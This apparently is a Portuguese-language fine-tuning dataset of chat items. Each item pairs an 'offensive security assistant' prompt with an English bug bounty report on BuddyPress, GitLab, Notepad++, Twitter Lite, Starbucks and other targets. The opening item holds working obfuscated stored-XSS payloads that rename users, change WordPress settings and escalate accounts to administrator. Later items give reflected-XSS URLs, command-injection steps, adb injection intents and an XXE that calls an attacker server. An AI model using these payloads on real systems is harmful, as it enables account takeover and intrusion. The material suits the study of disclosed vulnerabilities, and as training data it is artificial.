[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Stored XSS in Private Message component (BuddyPress)

[Assistant]
### Passos para Reproduzir
Via composing a new message
1. Go to another users profile
2. Click private message
3. Type any subject
4. Type the following message  `Test<iframe src=javascript:alert(1) width=0 height=0 style=display:none;></iframe>`
5. Send the message
6. View the message (triggers the XSS)
7. Wait for the victim to read the message

Via replying to an existing thread
1. Go to your inbox
2. View any message you have received
3. Respond to the message with `Test<iframe src=javascript:alert(1) width=0 height=0 style=display:none;></iframe>`
4. View the message (triggers the XSS)
5. Wait for the victim to read the message

Payloads containing spaces can also be sent however the src cannot contain any spaces or quotations so it needs to be converted into char codes, combined into a string and eval'd:
**example:**
```
<iframe src=javascript:eval(String.fromCharCode.apply(null,[108,101,116,32,116,101,115,116,32,61,32,49,50,51,59,10,97,108,101,114,116,40,116,101,115,116,41,59])) width=0 height=0 style=display:none;></iframe>
```
**would run**
```javascript
let test = 123;
alert(test);
```

Larger payloads can be used. However, due to the code needing to be in an array of char codes (if it contains spaces or quotations) I have written a small python script to convert javascript code into a sendable message. It also includes some Proof of concept payloads which perform the following:
- Change the users username to `HACKED` (affects any user)
- Change the websites title and description (requires a privileged user to read the message)
- Change a users permissions to administrator (requires a privileged user to read the message)

Please see the attached zip file for the script and payloads (they have not been pre-converted)

See some example payloads below:
(note: the spacing is to prevent the iframe element being visible in the message exert displayed in the inbox - it is not required for it to work, nor is the start of the message, only the iframe is needed).
**Change username to `HACKED`**
```
This is a malicious message.                    <iframe src=javascript:eval(String.fromCharCode.apply(null,[108,101,116,32,110,97,109,101,32,61,32,112,97,114,101,110,116,46,66,80,95,78,111,117,118,101,97,117,46,109,101,115,115,97,103,101,115,46,114,111,111,116,85,114,108,46,115,112,108,105,116,40,39,47,39,41,91,50,93,59,10,108,101,116,32,117,114,108,32,61,32,112,97,114,101,110,116,46,108,111,99,97,116,105,111,110,46,111,114,105,103,105,110,32,43,32,39,47,109,101,109,98,101,114,115,47,39,32,43,32,110,97,109,101,32,43,32,39,47,112,114,111,102,105,108,101,47,101,100,105,116,47,103,114,111,117,112,47,49,47,39,59,10,10,112,97,114,101,110,116,46,106,81,117,101,114,121,46,97,106,97,120,40,123,117,114,108,58,32,117,114,108,44,32,116,121,112,101,58,32,39,71,69,84,39,44,32,115,117,99,99,101,115,115,58,32,102,117,110,99,116,105,111,110,40,104,116,109,108,95,114,101,115,112,111,110,115,101,41,32,123,10,32,32,32,32,108,101,116,32,100,111,109,32,61,32,112,97,114,101,110,116,46,106,81,117,101,114,121,40,104,116,109,108,95,114,101,115,112,111,110,115,101,41,59,10,32,32,32,32,100,111,109,46,102,105,110,100,40,39,105,110,112,117,116,91,110,97,109,101,61,34,102,105,101,108,100,95,49,34,93,39,41,46,118,97,108,40,39,72,65,67,75,69,68,39,41,59,10,32,32,32,32,112,97,114,101,110,116,46,106,81,117,101,114,121,46,97,106,97,120,40,123,117,114,108,58,32,100,111,109,46,102,105,110,100,40,39,35,112,114,111,102,105,108,101,45,101,100,105,116,45,102,111,114,109,39,41,46,97,116,116,114,40,39,97,99,116,105,111,110,39,41,44,32,116,121,112,101,58,32,39,80,79,83,84,39,44,32,100,97,116,97,58,32,100,111,109,46,102,105,110,100,40,39,35,112,114,111,102,105,108,101,45,101,100,105,116,45,102,111,114,109,39,41,46,115,101,114,105,97,108,105,122,101,40,41,125,41,10,125,125,41,59,10])) width=0 height=0 style=display:none;></iframe>
```

**Change site title and description:** (requires admin to read message)
```
This is a malicious message.                    <iframe src=javascript:eval(String.fromCharCode.apply(null,[108,101,116,32,110,101,119,95,115,105,116,101,95,116,105,116,108,101,32,61,32,39,72,65,67,75,69,68,39,59,10,108,101,116,32,110,101,119,95,115,105,116,101,95,100,101,115,99,114,105,112,116,105,111,110,32,61,32,39,118,105,97,32,88,83,83,39,59,10,108,101,116,32,117,114,108,32,61,32,112,97,114,101,110,116,46,108,111,99,97,116,105,111,110,46,111,114,105,103,105,110,32,43,32,39,47,119,112,45,97,100,109,105,110,47,111,112,116,105,111,110,115,45,103,101,110,101,114,97,108,46,112,104,112,39,59,10,10,112,97,114,101,110,116,46,106,81,117,101,114,121,46,97,106,97,120,40,123,117,114,108,58,32,117,114,108,44,32,116,121,112,101,58,32,39,71,69,84,39,44,32,115,117,99,99,101,115,115,58,32,102,117,110,99,116,105,111,110,40,104,116,109,108,95,114,101,115,112,111,110,115,101,41,32,123,10,32,32,32,32,108,101,116,32,100,111,109,32,61,32,112,97,114,101,110,116,46,106,81,117,101,114,121,40,104,116,109,108,95,114,101,115,112,111,110,115,101,41,59,10,32,32,32,32,100,111,109,46,102,105,110,100,40,39,105,110,112,117,116,91,110,97,109,101,61,34,98,108,111,103,110,97,109,101,34,93,39,41,46,118,97,108,40,110,101,119,95,115,105,116,101,95,116,105,116,108,101,41,59,10,32,32,32,32,100,111,109,46,102,105,110,100,40,39,105,110,112,117,116,91,110,97,109,101,61,34,98,108,111,103,100,101,115,99,114,105,112,116,105,111,110,34,93,39,41,46,118,97,108,40,110,101,119,95,115,105,116,101,95,100,101,115,99,114,105,112,116,105,111,110,41,59,10,32,32,32,32,112,97,114,101,110,116,46,106,81,117,101,114,121,46,97,106,97,120,40,123,117,114,108,58,32,112,97,114,101,110,116,46,108,111,99,97,116,105,111,110,46,111,114,105,103,105,110,32,43,32,39,47,119,112,45,97,100,109,105,110,47,111,112,116,105,111,110,115,46,112,104,112,39,44,32,116,121,112,101,58,32,39,80,79,83,84,39,44,32,100,97,116,97,58,32,100,111,109,46,102,105,110,100,40,39,102,111,114,109,39,41,46,115,101,114,105,97,108,105,122,101,40,41,125,41,10,125,125,41,59])) width=0 height=0 style=display:none;></iframe>
```

**Change user permissions for the user with id `2` to administrator** (requires admin to read message)
```
This is a malicious message.                    <iframe src=javascript:eval(String.fromCharCode.apply(null,[108,101,116,32,117,114,108,32,61,32,112,97,114,101,110,116,46,108,111,99,97,116,105,111,110,46,111,114,105,103,105,110,32,43,32,39,47,119,112,45,97,100,109,105,110,47,117,115,101,114,45,101,100,105,116,46,112,104,112,63,117,115,101,114,95,105,100,61,50,38,119,112,95,104,116,116,112,95,114,101,102,101,114,101,114,61,47,119,112,45,97,100,109,105,110,47,117,115,101,114,115,46,112,104,112,39,59,10,10,112,97,114,101,110,116,46,106,81,117,101,114,121,46,97,106,97,120,40,123,117,114,108,58,32,117,114,108,44,32,116,121,112,101,58,32,39,71,69,84,39,44,32,115,117,99,99,101,115,115,58,32,102,117,110,99,116,105,111,110,40,104,116,109,108,95,114,101,115,112,111,110,115,101,41,32,123,10,32,32,32,32,108,101,116,32,100,111,109,32,61,32,112,97,114,101,110,116,46,106,81,117,101,114,121,40,104,116,109,108,95,114,101,115,112,111,110,115,101,41,59,10,32,32,32,32,100,111,109,46,102,105,110,100,40,39,115,101,108,101,99,116,91,110,97,109,101,61,34,114,111,108,101,34,93,39,41,46,112,114,111,112,40,34,115,101,108,101,99,116,101,100,73,110,100,101,120,34,44,32,52,41,59,10,32,32,32,32,112,97,114,101,110,116,46,106,81,117,101,114,121,46,97,106,97,120,40,123,117,114,108,58,32,100,111,109,46,102,105,110,100,40,39,102,111,114,109,39,41,46,97,116,116,114,40,39,97,99,116,105,111,110,39,41,44,32,116,121,112,101,58,32,39,80,79,83,84,39,44,32,100,97,116,97,58,32,100,111,109,46,102,105,110,100,40,39,102,111,114,109,39,41,46,115,101,114,105,97,108,105,122,101,40,41,125,41,10,125,125,41,59])) width=0 height=0 style=display:none;></iframe>
```

For a more detailed write-up including images please view this [Google Doc (unlisted)](https://docs.google.com/document/d/1RgMWJlYen9iR_JTxATYR4TJWAPKRgaSKuiiqZp7x8L0/edit?usp=sharing) (if this is not allowed please let me know so that I can include them here if necessary)

### Impacto
An attacker could craft a payload to perform any action which their target can perform. This is especially dangerous for administrators since if the attacker targeted them they could modify site data/content, modify accounts, read sensitive information such as users private information and more.

In my testing I was able to change profile names, change users passwords, read users email addresses, modify pages, modify the site data and modify the WordPress settings including the sites email address.

I did not find anything I could not exploit which the targeted user had permissions to do, it seems depending on the target that the attacker can achieve full access to wp-admin and any other plugins that are installed and even chain requests together within a single attack.

It would also be possible to create a worm which when read would email its content to every other user again.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: VLC 4.0.0 - Stack Buffer Overflow (SEH)

[Assistant]
### Passos para Reproduzir
1. Open VLC and bind rist on local port: vlc.exe rist://0.0.0.0:8888
  2. Edit IP and port configuration in vlc.py
  3. Execute PoC: ./vlc.py

### Impacto


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: [glance] Access unlisted internal files/folders revealing sensitive information

[Assistant]
### Passos para Reproduzir
- Install `glance`
```
$ npm install -g glance
```

- Inside a project directory, initialise `git`.
```
$ git init
```

- Add rule to ignore dotfiles in `.glance.json`
```json
{
  "nodot": true
}
```

- Start `glance` in current directory.
```
$ glance --verbose
glance serving /project/directory on port 8080
```

- Now, current directory will be served by serve with the exception of folder `.git` and file `.gitignore`.
- If we try to curl .`git` or `.gitignore` we get a Not Found error
```
$ curl --path-as-is 127.0.0.1:8080/.git
...
<title>File Not Found</title>
...
```

- Although if we try to fetch files/folders inside a forbidden [dot]folder there is no problem at all and most of it's content can be extracted successfully  (except dotfiles itself).
```
$ curl --path-as-is 127.0.0.1:8080/.git/HEAD
ref: refs/heads/master
```

>The structure of git repository is well known, so it is possible to found references to the objects/packs in the repository, download them via direct requests and reconstruct the repository and obtain your files – not only the current ones, but also the past files.

### Impacto
The essentially bypasses the `nodot` feature and allows an attacker to read from a directory that the victim has not allowed access to.

References:
- https://github.com/jarofghosts/glance#command-line-options
- https://smitka.me/


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: [takeapeek] XSS via HTML tag injection in directory lisiting page

[Assistant]
### Passos para Reproduzir
- Install `takeapeek`
```
$ npm install -g takeapeek
```

- Create a file with name `javascript:alert(1)`
```
 $ touch 'javascript:alert(1)'
```

- Start server in current directory
```
$ takeapeek
takepeek listening at http://localhost:3141
```

- Visit the address in any browser and click on malicous file link that we created.
{F417367}

### Impacto
An attacker is able to execute malicious JavaScript in context of other user's browser.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Mssing Authorization on Private Message replies (BuddyPress)

[Assistant]
### Passos para Reproduzir
1. Login to your account
2. Send the following request (change `Host`/`Cookie`/`nonce`/`thread_id` as needed)

>POST /wp-admin/admin-ajax.php HTTP/1.1
>Host: 127.0.0.1
>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
>Accept: */*
>Accept-Language: en-GB,en;q=0.5
>Accept-Encoding: gzip, deflate
>Referer: http://127.0.0.1/members/test2/messages/view/4/
>Content-Type: application/x-www-form-urlencoded; charset=UTF-8
>X-Requested-With: XMLHttpRequest
>Content-Length: 76
>Connection: close
>Cookie: >wordpress_ab0994624b8d5b17fddb1aec29329218=test2%7C1549395197%7ClRQfd96VkhuRpR4fpB3MhZOw2SGrl19nFG7wIClGYaf%7C64fbdf07238d2f448b8e53f6f1db7c64b014d7833386229505fefa70c9b2976e; wordpress_test_cookie=WP+Cookie+check; >wordpress_logged_in_ab0994624b8d5b17fddb1aec29329218=test2%7C1549395197%7ClRQfd96VkhuRpR4fpB3MhZOw2SGrl19nFG7wIClGYaf%7Ca309bfd19a1c2e4504e37959bd4ceac28944fce81857c2f7587022a4e6d2b7aa

>action=messages_send_reply&cookie=&_wpnonce=d037f67211&content=Test+Message&thread_id=1

### Impacto
Just by itself this can only really lead to spam / phishing attacks. However, if the component is vulnerable to other flaws such as #487081 (not public) then it can widen an attack surface and becomes a more serious issue.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Protected tweets exposure through the URL

[Assistant]
### Passos para Reproduzir
1. Prepare test twitter accounts and enable the option *Protect your Tweets* in the settings.
  2. Visit the https://terjanq.github.io/Bug-Bounty/Twitter/protected-tweets-exposure-efvju8i785y1/poc.html and click the button to start the PoC.
  3. Put phrases you want to find in your tweets and fill the field `from:` with your account's username and submit the form.
  4. When you are done with the previous step, click on the button `Fetch all 3-digit numbers from tweets` and wait for the timer to stop.
  5. You should see all the three-digit numbers from your tweets.

*Please note that the exploit can be coded much more efficiently. For example, instead of using one window to make the redirects several can be used to speed it up. Also due to the style it was written in, false-positives can appear when lags occur (it has primitive protection implemented for that case, but it's not perfect)*

### Impacto
:
A regular user of Twitter can have **their protected tweets leaked** along with additional information such as **mentioned users**, **tweet time frames**, **tweet locations** etc.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Broken access control on apps

[Assistant]
### Passos para Reproduzir
- User log-in into the chat
- User open the following link:

```
http://<rocket-chat.link>>/admin/app/install
```
- Upload any app
- Activate it by send the following POST request to the installed app:

```http
POST /api/apps/<ID_of_the_installed_App>/status HTTP/1.1
Host: rocket-chat.link
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-User-Id: [redacted]
X-Auth-Token: [redacted]
X-Requested-With: XMLHttpRequest
Cookie: [redacted]
DNT: 1
Connection: close
Content-Length: 29

{"status":"manually_enabled"}
```

### Impacto
Users can install and activate malicious apps into the rocket.chat.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Privilege escalation from any user (including external) to gitlab admin when admin impersonates you

[Assistant]
### Passos para Reproduzir
1. Sign into gitlab app as some user (`attacker`)
1. Go to the active sessions settings tab and revoke all the sessions besides the current active one
1. Sign into gitlab app in other browser as administrator (`admin`)
1. Go to users admin section and impersonate `attacker` user
1. Update the active sessions tab as `attacker` and make sure the second session appeared there (this is the admin logged into your account)
{F420971}
1. Inspect the `Revoke` button and make sure you see the session ID there. Copy it.
████
1. Go to index page of gitlab as `attacker` (http://gitlab.bb/ in my case), I do not know why, but it is important step
1. Clear `attacker` browser's cookie
1. Open the developer console as `attacker` and manually set `_gitlab_session` to the copied one with:

```javascript
document.cookie = "_gitlab_session=█████";
```
9. Refresh the attacker's page and make sure you are now inside the impersonated session
{F420978}
10. Click `Stop impersonating` at the top-right corner as `attacker` and make sure you are now logged in as gitlab admin.
███

### Impacto
Every gitlab authenticated user can escalate his privileges to admin ones and give complete access to all gitlab services, projects and abilities. Only he needs to do is ask admin to impersonate his account because of something works bad there.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Inadequate cache control in gitter allows to view private chat room

[Assistant]
### Passos para Reproduzir
1. Sign in to Gitter
2. Go to a private room
3. Sign-out from the device
4. Click on backspace
5. Chat in the private room

You can access the private room without actually being logged in. You can also chat from the logged out account.

### Impacto
Sensitive information can get disclosed through a single backspace.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Insufficient sanitizing can lead to arbitrary commands execution

[Assistant]
### Passos para Reproduzir
1. Create a new environment variable (or a temporary one), let's name it `TEST` and set its value: `"`
  2. Create a new folder named `%TEST%  && mkdir boom` and create a text file in it, let's name that file `test.txt`
  3. Open `test.txt` with Notepad++ and click on `File->Open Containing Folder->cmd`
  4. The command in the folder name gets executed and the `boom` folder is created

### Impacto
A successful attack can lead to arbitrary commands execution.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: No SearchEngine sanatizing can lead to command injection

[Assistant]
### Passos para Reproduzir
1. Go to `Settings->Search Engine` in the text box write `cmd /K echo boom`
  2. Click on `Edit->On Selection->Search on Internet`
  3. A command prompt is launched and `echo boom` is executed

### Impacto
Arbitrary commands execution.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Know whether private project name exists or not within a group using link comments

[Assistant]
### Passos para Reproduzir
1. As any user, go to any issue/merge request and select the comment box
2. Select the link which will appear like `[](url)`
3. Now if you know the group name, just make a guess of the private project that may exists within that group. Lets say `PublicGroup` contains a `PrivateProject` but this user doesnt have any access to `PrivateProject`.
4. This user can still know that this project exists if the user guess this name correctly
5. Just form a url like `[Click](https://gitlab.com/PublicGroup/PrivateProject/issues/1)` and comment.

6. Now hover over the **Click** link text. Notice the status bar (bottom left) of your browser. This will show you the link of your currect project with /click appended to the url.

7. Now just make a wrong guess `[Click](https://gitlab.com/PublicGroup/PrivateProject1/issues/2)`.

8. Now hover over again on **Click** link text and you will notice that the wrong link shows in the browser status bar as it is.

9. So we can say, if we can guess the project name correctly, it shows current project link.

10. If we guess it wrong, the link appears as it is.

11. So the conclusion is, if link appears as it is on browser status bar, project DOES NOT exists in the group. If link appears of current project, then project Exists in the group!

Regards,
Ashish

### Impacto
Know whether private project name exists within a group or not


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Assertion `len == 1' failed, process aborted while streaming ouput from remote server

[Assistant]
### Passos para Reproduzir
1. Download PuTTY snapshot
2. Compile with Clang
3. Launch PuTTY with your favorite debugger.
4. Connection to remote host
5. On remote host:
`mkdir corpus && git clone https://gitlab.com/akihe/radamsa.git && cd radamsa && make && sudo make install && cd ~`
6. On remote host, upload the attached files to the corpus directory we created in step 4.
7. On remote host type `while true; radamsa -s 420 -o - -n inf corpus/*; done` and let run until crashes.

### Impacto
Denial of service, crash, loss of data contained in scroll back


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: [url-parse] Improper Validation and Sanitization

[Assistant]
### Passos para Reproduzir
Add the following `test to test/test.js` and run `npm run test-browser`.

 assume(parse.extractProtocol(' javscript:')).eql({
        slashes: false,
        protocol: '',
        rest: ''
      })

# Wrap up
Line 199 in index.js is setting the protocol to location.protocol, this is probably not the right move.

url protocol = extracted.protocol || location.protocol || '';

> Select Y or N for the following statements:

- I contacted the maintainer to let them know: [Y]
- I opened an issue in the related repository: [N]

### Impacto
Bypass input sanitization and validation.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Reflected XSS in https://www.starbucks.co.jp/store/search/

[Assistant]
### Passos para Reproduzir
1. Go to https://www.starbucks.co.jp/store/search/?free_word=%22%3E%3Cscript%3Ealert()%3C/script%3E%3E

### Impacto
It is possible to run arbitrary javascript.

Thank you.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Persistent XSS via e-mail when creating merge requests

[Assistant]
### Passos para Reproduzir
Note: These instructions work on GDK with the latest version. I wasn't sure if it is allowed to test something like on gitlab.com

  1.  Choose a public repository and fork it (let's say HTML5 boilerplate)
  2. Go through the repository main page http://yourserver:3000/root/html5-boilerplate
  3. Click on the button + button and select New File
  4. Create any file but choose a different target branch (something like <script>alert(1)</script>
  5. Gitlab will direct you to a page to create a new merge request from your recently create branch to master. Ignore that.
  6. Open a New Merge Request
  7. Select Source Branch as your fork and the recently created branch
  8. As for Target branch select the original repo and master
  9. Click submit
10. Select one the maintainers of the original repo
11. Submit
12. Go to letter opener (/rails/letter_opener/)
13. See the alert popping up.

The steps above only require UI, but an attacker can create a branch name through git client as well. The create branch option UI protects against this attack.

There is also another version of the attack, where a repository owner can add any Gitlab users to become members of her repo. The attacker now create a Merge Request in his own repo and assign the new member to it. Same result.

### Impacto
E-mail clients nowadays are well protected against XSS. However, a malicious user could use Gitlab's name to mislead users. The problem with this vulnerability is the reach. It is my understanding, an attacker can add whoever is a Gitlab user as a member of her own repo. So she could send malicious e-mails to them. I would usually say that is a low vulnerability, however, given the number of users that could be affected I would say is a medium


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: A stack buffer overflow in BabyGrid.cpp can lead to program crashes via a malicious localization file

[Assistant]
### Passos para Reproduzir
1. Install the 32-bit version of Notepad++
2. Copy `nativeLang.xml` to the `%APPDATA%\Notepad++` folder (or to the Notepad++ installation folder)
3. Run Notepad++
4. Open the "Settings" > "Shortcut Mapper" menu

Notepad++ will crash.

### Impacto
Any user who is using one of these malicious localization files will experience crashes when using the "Shortcut Mapper" menu.

This may cause:

* Loss of unsaved data when the program crashes (if the interval between automatic file backups is too long or automatic backups are disabled)
* No access to the Shortcut Mapper, making it impossible to change shortcuts

Users may be persuaded to install a custom localization file, for instance by looking for a translation for a language that is not supported yet, or by believing that a particular translation is better than the official one.

Moreover, a malicious program running with the user's permission may directly write to %APPDATA% and trigger the vulnerability.

Since this exploit is read from a file and therefore not dynamic, exploitation to code execution looks impossible due to the presence of the stack cookie and ASLR.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Command injection by setting a custom search engine

[Assistant]
### Passos para Reproduzir
In our proof of concept, we chose to open a calculator by providing `cmd.exe /c calc.exe` as custom search engine.

  1. Copy the provided `config.xml` file to `%APPDATA%\Notepad++`
  2. Run Notepad++
  3. Right-click anywhere in the text field
  4. Select "Search on Internet"

The default Windows calculator will open.

### Impacto
Since this is vulnerability can lead to arbitrary command execution, users risk complete loss of integrity, confidentiality and availability. An attacker may read, delete and modify any files that are accessible with the program's permission, and execute arbitrary code.

Users may be persuaded to use a custom config file, for instance if provided as a example config file on the Internet, or if the user believes it would solve a problem with the config they have.

Moreover, a malicious program running with the user's permissions may directly write to %APPDATA% and trigger the vulnerability.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Twitter lite(Android): Vulnerable to local file steal, Javascript injection, Open redirect

[Assistant]
### Passos para Reproduzir
1. To reproduce we use ADB tool

  2. To reproduce local file access use: adb shell am start -n com.twitter.android.lite/com.twitter.android.lite.TwitterLiteActivity -d "file:///sdcard/BugBounty/1.html"

  3. To reproduce javascript injection: adb shell am start -n com.twitter.android.lite/com.twitter.android.lite.TwitterLiteActivity -d "javascript://example.com%0A alert(1);"

  4. To reproduce open redirect: adb shell am start -n com.twitter.android.lite/com.twitter.android.lite.TwitterLiteActivity -d "http://evilzone.org"

 * Video of POC attached.

Thanks

### Impacto
As critical uri like javascript & file is not being validate malicious app can steal users session token, users files etc.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: DOM based CSS Injection on grammarly.com

[Assistant]
### Passos para Reproduzir
1. Visit ```https://www.grammarly.com/embedded?height=300&extcss=https://www.dl.dropboxusercontent.com/s/e0g51ibqswh0v7d/xss.css?dl=0```

### Impacto
An attacker can use an external css file to spoof the page to their liking allowing for phishing attacks and if the victim is on an older browser an attacker can execute javascript as well.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: XXE at ecjobs.starbucks.com.cn/retail/hxpublic_v6/hxdynamicpage6.aspx

[Assistant]
### Passos para Reproduzir
Upload and XXE vulnerability:
1. Log in to the user, enter the personal information settings page, click Upload Image
2. Intercept https access information through Burp suite
3. addd "html;" attributes in the parameter of "allow_file_type_list",or you can delete the params of "allow_file_type_list",then replace the filename's Suffix name ".jpg" to ".html"
4. Get the server's response information,visited the uploaded file URL.
https://ecjobs.starbucks.com.cn/retail/tempfiles/temp_uploaded_641dee35-5a62-478e-90d7-f5558a78c60e.html
5. uploaded a malicious xml file to the server,change the parameter of "_hxpage"，like

>POST /retail/hxpublic_v6/hxdynamicpage6.aspx?_hxpage=tempfiles/temp_uploaded_d4e4c8c5-c4ab-4743-a6fd-c2d779a29734.xml&max_file_size_kb=1024&allow_file_type_list=xml;jpg;jpeg;png;bmp;

or change the "HX_PAGE_NAME" params of xml date by post

>POST /retail/hxpublic_v6/hxxmlservice6.aspx HTTP/1.1
HX_PAGE_NAME="tempfiles/temp_uploaded_71cc275c-64fc-40fc-a9cc-52cce5a02858.xml"

post the edited request,the starbucks's server will visit the attacker's server to get the DTD file.

### Impacto
The vulnerability can  let the attacker upload the evil files in the server which will spoof the user,steal the user's cookie and informations.The XXE  vulnerability disclose some server's informations ,denial of service attack，maybe will cause NTLMv2 hash attacks through XXE(the starbucks'server environment is iis 7.5+asp.net+windows), which could lead to  attackers having full control over the server and the entire inner domain.
By the way,if the report isn't considered eligible.please let me close this report myself.Thank you


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Security headers missed on https://acme-validation.jamieweb.net/

[Assistant]
### Resumo da Vulnerabilidade
Hi JamieWeb team,
the `https://acme-validation.jamieweb.net/` domain doesn't present some important security headers.
The `X-DNS-Prefetch-Control` header isn't specified with value `off`, so is enabled b default on modern web browsers, and can lead to `information disclosure` ((https://security.stackexchange.com/questions/121796/what-security-implications-does-dns-prefetching-have).
Additionally, the `X-Download-Options` isn't present, while a good security implication would be `noopen` (here is explained why is important in certain circumstances: https://github.com/Fyrd/caniuse/issues/3388).
Finally, the `Public-Key-Pins header` isn't present. It is very helpful because tells to the web browser to associate a public key with a certain web server to prevent `MITM attacks` using `rogue and forged X.509 certificates`. This protects users in case a certificate authority is compromised. Is useful also for the validation of the `SSL` certificate.

